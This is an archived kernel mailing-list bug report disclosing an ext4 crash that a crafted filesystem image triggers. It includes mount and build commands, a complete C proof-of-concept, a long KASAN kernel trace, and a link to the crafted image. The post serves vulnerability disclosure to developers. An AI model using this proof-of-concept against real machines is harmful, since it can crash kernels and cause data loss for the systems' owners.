ext4: BUG() triggered in ext4_get_group_info() when mounting and operating a crafted ext4 image

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



I found a bug reproducible in ext4 dev branch. Here is the information:

- Overview
BUG() triggered in ext4_get_group_info() when mounting and operating a crafted ext4 image

- Reproduce (on ext4 dev branch)
# mkdir mnt 
# mount -t ext4 10.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);

  // open / write / read
  int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {
    write(fd, (char *)buf, 517);
    write(fd, (char *)buf, sizeof(buf));
    fdatasync(fd);
    fsync(fd);
    close(fd);
  }

  // open / lseek / write / fallocate
  fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {
    lseek(fd, 1024 - 33, SEEK_SET);
    write(fd, (char *)buf, sizeof(buf));
    lseek(fd, 1024 * 1024 + 67, SEEK_SET);
    write(fd, (char *)buf, sizeof(buf));
    lseek(fd, 1024 * 1024 * 1024 - 113, SEEK_SET);
    write(fd, (char *)buf, sizeof(buf));

    lseek(fd, 0, SEEK_SET);
    write(fd, (char *)buf, sizeof(buf));

    close(fd);
  }

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel message
[  354.513508] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null)
[  378.126969] attempt to access beyond end of device
[  378.126992] loop0: rw=2049, want=131072002, limit=16384
[  378.127013] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 1024 size 0 starting block 65536000)
[  378.127027] Buffer I/O error on device loop0, logical block 65536000
[  378.128537] attempt to access beyond end of device
[  378.128542] loop0: rw=2049, want=8489140226, limit=16384
[  378.128548] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 1024 size 0 starting block 4244570112)
[  378.128551] Buffer I/O error on device loop0, logical block 4244570112
[  378.130133] attempt to access beyond end of device
[  378.130139] loop0: rw=2049, want=7415529474, limit=16384
[  378.130145] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 6144 size 0 starting block 3707764736)
[  378.130148] Buffer I/O error on device loop0, logical block 3707764736
[  378.131616] attempt to access beyond end of device
[  378.131620] loop0: rw=2049, want=33554432, limit=16384
[  378.131626] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 6144 size 0 starting block 16777215)
[  378.131629] Buffer I/O error on device loop0, logical block 16777215
[  378.133268] attempt to access beyond end of device
[  378.133274] loop0: rw=2049, want=16898, limit=16384
[  378.133282] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 6144 size 0 starting block 8448)
[  378.133286] Buffer I/O error on device loop0, logical block 8448
[  378.134795] attempt to access beyond end of device
[  378.134800] loop0: rw=2049, want=4194306, limit=16384
[  378.134806] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 8192 size 0 starting block 2097152)
[  378.134810] Buffer I/O error on device loop0, logical block 2097152
[  378.136261] attempt to access beyond end of device
[  378.136266] loop0: rw=2049, want=16386, limit=16384
[  378.136277] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 0 size 0 starting block 8192)
[  378.136281] Buffer I/O error on device loop0, logical block 8192
[  378.137671] EXT4-fs error (device loop0): ext4_map_blocks:718: inode #14: block 1617: comm a.out: lblock 17 mapped to illegal pblock (length 2)
[  378.160754] EXT4-fs (loop0): Delayed block allocation failed for inode 14 at logical offset 17 with max blocks 2 with error 117
[  378.163203] EXT4-fs (loop0): This should not happen!! Data will be lost

[  378.165136] attempt to access beyond end of device
[  378.165141] loop0: rw=2049, want=16386, limit=16384
[  378.165147] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 0 size 0 starting block 8192)
[  378.165150] Buffer I/O error on device loop0, logical block 8192
[  378.166497] attempt to access beyond end of device
[  378.166501] loop0: rw=2049, want=16386, limit=16384
[  378.166507] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 0 size 0 starting block 8192)
[  378.166510] Buffer I/O error on device loop0, logical block 8192
[  378.167842] attempt to access beyond end of device
[  378.167846] loop0: rw=2049, want=3056838182, limit=16384
[  378.167852] EXT4-fs warning (device loop0): ext4_end_bio:323: I/O error 10 writing to inode 14 (offset 0 size 0 starting block 1528419090)
[  378.167855] Buffer I/O error on device loop0, logical block 1528419090
[  378.169270] attempt to access beyond end of device
[  378.169274] loop0: rw=2049, want=3056838182, limit=16384
[  378.169314] attempt to access beyond end of device
[  378.169318] loop0: rw=2049, want=8589803526, limit=16384
[  378.169347] attempt to access beyond end of device
[  378.169351] loop0: rw=2049, want=253608, limit=16384
[  378.171034] EXT4-fs error (device loop0): ext4_read_block_bitmap_nowait:423: comm a.out: Invalid block bitmap block 34 in block_group 0
[  378.218824] EXT4-fs (loop0): Delayed block allocation failed for inode 14 at logical offset 29 with max blocks 1 with error 117
[  378.221300] EXT4-fs (loop0): This should not happen!! Data will be lost

[  378.223484] EXT4-fs error (device loop0): ext4_read_block_bitmap_nowait:423: comm a.out: Invalid block bitmap block 34 in block_group 0
[  378.250235] EXT4-fs (loop0): Delayed block allocation failed for inode 14 at logical offset 32 with max blocks 1 with error 117
[  378.252692] EXT4-fs (loop0): This should not happen!! Data will be lost

[  378.255339] ------------[ cut here ]------------
[  378.255347] kernel BUG at fs/ext4/ext4.h:2764!
[  378.256408] invalid opcode: 0000 [#1] SMP KASAN PTI
[  378.257447] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd i2c_piix4 mac_hid soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 btrfs zstd_decompress zstd_compress xxhash raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq raid1 raid0 multipath linear 8139too qxl drm_kms_helper syscopyarea sysfillrect crct10dif_pclmul sysimgblt fb_sys_fops ttm crc32_pclmul drm aesni_intel aes_x86_64 crypto_simd cryptd glue_helper pata_acpi 8139cp floppy mii
[  378.269019] CPU: 1 PID: 1377 Comm: a.out Not tainted 4.17.0-rc4+ #5
[  378.270379] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  378.272440] RIP: 0010:ext4_mb_load_buddy_gfp+0x6a1/0x700
[  378.273551] RSP: 0018:ffff8801f0a4f628 EFLAGS: 00010282
[  378.274645] RAX: 0000000000000000 RBX: ffff8801f0a4f748 RCX: ffffffff864ff24b
[  378.276117] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffff8801e10ac440
[  378.277604] RBP: ffff8801f0a4f698 R08: ffffed003d896a5b R09: ffffed003d896a5b
[  378.279092] R10: 0000000000000001 R11: ffffed003d896a5a R12: ffff8801e10abf88
[  378.280580] R13: ffff8801e10abb80 R14: 00000000ffffffff R15: ffff8801e10ac400
[  378.282080] FS:  00007fa96cecd700(0000) GS:ffff8801f7100000(0000) knlGS:0000000000000000
[  378.283766] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  378.284976] CR2: 00007fedd19df070 CR3: 00000001f0dd2000 CR4: 00000000000006e0
[  378.286462] Call Trace:
[  378.287013]  ? start_this_handle+0x326/0x810
[  378.287949]  ? invalidate_inode_pages2+0x20/0x20
[  378.288936]  ext4_discard_preallocations+0x448/0x770
[  378.290002]  ? kasan_kmalloc+0xad/0xe0
[  378.290802]  ? ext4_exit_mballoc+0x70/0x70
[  378.291680]  ? ext4_empty_dir+0x420/0x420
[  378.292919]  ? __ext4_journal_start_sb+0x89/0x180
[  378.293914]  ext4_truncate+0x5d2/0x780
[  378.294705]  ? ext4_punch_hole+0x670/0x670
[  378.295562]  ? ext4_empty_dir+0x420/0x420
[  378.296419]  ext4_setattr+0x55c/0xe30
[  378.297206]  notify_change+0x4e1/0x680
[  378.298021]  ? apparmor_file_receive+0x80/0x80
[  378.298946]  ? kasan_check_write+0x14/0x20
[  378.299824]  do_truncate+0xe8/0x160
[  378.300570]  ? do_truncate+0xe8/0x160
[  378.301346]  ? file_open_root+0x1c0/0x1c0
[  378.302182]  ? common_perm+0x290/0x290
[  378.302978]  path_openat+0x1663/0x1e80
[  378.303792]  ? __save_stack_trace+0x92/0x100
[  378.304711]  ? vfs_unlink+0x250/0x250
[  378.305483]  ? save_stack+0x46/0xd0
[  378.306217]  ? kasan_slab_alloc+0x11/0x20
[  378.307053]  ? kmem_cache_alloc+0xd1/0x1e0
[  378.307907]  ? getname_flags+0x76/0x2c0
[  378.308727]  ? getname+0x12/0x20
[  378.309409]  ? do_sys_open+0x14b/0x2c0
[  378.310193]  ? __x64_sys_open+0x4c/0x60
[  378.311016]  ? do_syscall_64+0x78/0x170
[  378.311861]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  378.312970]  ? find_get_entries_tag+0x3d0/0x3d0
[  378.313928]  ? wbc_detach_inode+0x36/0x2d0
[  378.314790]  ? do_writepages+0x37/0xb0
[  378.315577]  do_filp_open+0x12b/0x1d0
[  378.316360]  ? delete_from_page_cache_batch+0x4e0/0x4e0
[  378.317453]  ? may_open_dev+0x50/0x50
[  378.318221]  ? kasan_kmalloc+0xad/0xe0
[  378.319006]  do_sys_open+0x17c/0x2c0
[  378.319758]  ? do_sys_open+0x17c/0x2c0
[  378.320556]  ? filp_open+0x60/0x60
[  378.321292]  ? task_work_run+0x4d/0xf0
[  378.322080]  __x64_sys_open+0x4c/0x60
[  378.322853]  do_syscall_64+0x78/0x170
[  378.323625]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  378.324696] RIP: 0033:0x7fa96c9df040
[  378.325446] RSP: 002b:00007fffad191588 EFLAGS: 00000246 ORIG_RAX: 0000000000000002
[  378.326996] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa96c9df040
[  378.328472] RDX: 00000000000001ff RSI: 0000000000000202 RDI: 00000000010e8080
[  378.329953] RBP: 00007fffad1915e0 R08: 00000000010e8010 R09: 0000000000000000
[  378.331415] R10: 0000000000000690 R11: 0000000000000246 R12: 00000000004006a0
[  378.332900] R13: 00007fffad1916e0 R14: 0000000000000000 R15: 0000000000000000
[  378.334381] Code: d6 e7 ff ff 85 c0 41 89 c7 75 6e 4c 89 e7 e8 a7 54 dd ff e9 74 fc ff ff 48 8d 43 18 48 89 45 a0 41 bf f4 ff ff ff e9 21 fe ff ff <0f> 0b 8b 55 ac 44 89 f6 4c 89 ef e8 6f f3 ff ff 85 c0 0f 84 c2
[  378.338307] RIP: ext4_mb_load_buddy_gfp+0x6a1/0x700 RSP: ffff8801f0a4f628
[  378.339805] ---[ end trace 9f703e0d0e15b354 ]---
[  378.340857] ===============================================================
 
- Location
https://elixir.bootlin.com/linux/v4.17/source/fs/ext4/ext4.h#L2761
 BUG_ON(group >= EXT4_SB(sb)->s_groups_count);

Reported by Wen Xu (wen.xu@xxxxxxxxxx) from SSLab at Gatech.

Files:
10.img.zip: https://bugzilla.kernel.org/attachment.cgi?id=276439

Thanks,
Wen



[Index of Archives]     [Reiser Filesystem Development]     [Ceph FS]     [Kernel Newbies]     [Security]     [Netfilter]     [Bugtraq]     [Linux FS]     [Yosemite National Park]     [MIPS Linux]     [ARM Linux]     [Linux Security]     [Linux RAID]     [Samba]     [Device Mapper]     [Linux Media]

  Powered by Linux